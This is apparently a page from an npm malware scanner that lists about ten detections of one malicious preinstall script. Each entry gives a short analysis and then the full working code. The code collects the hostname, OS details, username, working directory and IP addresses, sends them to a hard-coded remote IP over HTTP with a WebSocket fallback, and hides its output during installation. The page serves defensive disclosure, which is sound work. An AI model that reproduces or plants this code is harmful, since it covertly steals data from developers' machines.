Sandworm scans all new Npm package versions for malicious install scripts.
Scanning since October 2024.
Follow our π / Twitter feed for updates.
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
This code collects sensitive system information, including the local and public IP addresses, hostname, OS type, architecture, and username, and sends it to a potentially malicious endpoint without the user's consent. Additionally, it has a fallback mechanism to send data via WebSocket, further indicating a design to exfiltrate data stealthily. This can lead to unauthorized access and serious privacy violations.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
This code collects sensitive system information, including the hostname, OS type, and user's local IP address, and sends it to remote servers via HTTP GET and POST requests, as well as through a WebSocket connection. It lacks user consent and could be used for malicious purposes, such as data theft or monitoring.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
This code gathers sensitive system information such as public IP address, local IP address, hostname, OS type, platform, and the current user's username, and sends this data to a remote server via HTTP GET and POST requests. Additionally, it has a WebSocket fallback method to transmit the data if the HTTP requests fail. This creates a significant risk because it leaks potentially sensitive information about the machine and its user to an external server, which could be exploited maliciously.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information (such as public IP, hostname, and user info) and sends it to remote servers via both HTTP and WebSocket. It can potentially expose users' private data to malicious entities, thereby compromising their security and privacy.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information (such as the user's local and public IP addresses, hostname, OS type, etc.) and sends this data to remote servers. This poses a significant security risk as it can lead to unauthorized access and exposure of user data. Additionally, the presence of fallback servers and WebSocket communication indicates a design to ensure that data is sent even when standard HTTP requests fail, which further emphasizes its potential for harmful activity.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information, including the public IP address, local IP address, username, and OS details. It then sends this information to a remote server via HTTP and WebSocket, potentially allowing an attacker to harvest sensitive data without the user's consent.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The script collects sensitive system information, including the local and public IP addresses, hostname, operating system details, and user information, and then sends this data to remote servers. This poses a significant risk as it can lead to privacy violations and potential exploitation by malicious actors, especially since it is designed to attempt data transmission regardless of certain conditions (like being run during npm install
). The remote endpoints are under the control of the attacker, which could enable them to misuse the received information.
node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
This code collects sensitive system information, including the user's public and local IP addresses, hostname, OS type, architecture, and current directory. It then sends this data to remote endpoints without the user's consent, which can lead to privacy violations and potential exploitation of the information collected. Additionally, it can establish a WebSocket connection to further transmit data if initial HTTP requests fail, further enhancing the risk of unauthorized data exposure.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information, including the public and local IP addresses, hostname, operating system details, and the current user. It then sends this information to potentially malicious endpoints via HTTP GET and POST requests, as well as over WebSocket. This can lead to unauthorized access, privacy breaches, and exploitation of system vulnerabilities.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}
Detected: 2 Apr 2025
Detected Date: 2 Apr 2025
Affected Install Script: preinstall
Package Source: βοΈ View on Npm
The code collects sensitive system information, including the user's public and local IP address, username, and other details, and sends this data to a remote server via both HTTP GET and POST requests. This poses a privacy risk as it could expose personal data without the user's consent. Additionally, the use of WebSocket as a backup method for data transmission further increases the risk of sensitive information being exfiltrated.
Install script:node index.js
Install script code:const os = require("os");
const https = require("https");
// Check if running during `npm install`
const isPreinstall = process.env.npm_lifecycle_event === "preinstall";
// Dynamically import node-fetch
async function getFetch() {
return (await import("node-fetch")).default;
}
// Collect System Information
const systemInfo = {
publicIP: "", // Will be fetched dynamically
hostname: os.hostname(),
osType: os.type(),
osPlatform: os.platform(),
osRelease: os.release(),
osArch: os.arch(),
localIP: Object.values(os.networkInterfaces())
.flat()
.find((i) => i.family === "IPv4" && !i.internal)?.address || "Unknown",
whoamiUser: os.userInfo().username,
currentDirectory: process.cwd(),
};
// Fetch public IP dynamically
https.get("https://api64.ipify.org?format=json", (res) => {
let data = "";
res.on("data", (chunk) => (data += chunk));
res.on("end", () => {
try {
systemInfo.publicIP = JSON.parse(data).ip;
} catch (e) {
systemInfo.publicIP = "Unknown";
}
sendData(systemInfo);
});
}).on("error", () => sendData(systemInfo));
// List of fallback servers
const endpoints = [
"http://34.229.201.136:8080/jpd.php",
"http://34.229.201.136:8080/jpd1.php",
];
// Get random available endpoint
function getAvailableEndpoint() {
return endpoints[Math.floor(Math.random() * endpoints.length)];
}
// Convert system info to query string
function buildQueryParams(data) {
return Object.entries(data)
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
.join("&");
}
// Send Data (GET and POST)
async function sendData(data) {
try {
const fetch = await getFetch();
// Construct GET request URL
const getUrl = `${getAvailableEndpoint()}?${buildQueryParams(data)}`;
// Send GET request
const getResponse = await fetch(getUrl, { method: "GET" });
// Send POST request
const postResponse = await fetch(getAvailableEndpoint(), {
method: "POST",
headers: {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
},
body: JSON.stringify(data),
});
// Only log responses if NOT running in `npm install`
if (!isPreinstall) {
console.log("GET Response:", await getResponse.text());
console.log("POST Response:", await postResponse.text());
}
} catch (error) {
if (!isPreinstall) {
console.error("Error sending data via HTTP:", error);
}
sendViaWebSocket(data);
}
}
// WebSocket Backup (if HTTP requests fail)
async function sendViaWebSocket(data) {
try {
const { WebSocket } = await import("ws"); // Import ws dynamically
const ws = new WebSocket("wss://yourserver.com/socket");
ws.on("open", () => {
if (!isPreinstall) {
console.log("WebSocket connection established.");
}
ws.send(JSON.stringify(data));
ws.close();
});
ws.on("error", (err) => {
if (!isPreinstall) {
console.error("WebSocket Error:", err);
}
});
} catch (error) {
if (!isPreinstall) {
console.error("WebSocket module import failed:", error);
}
}
}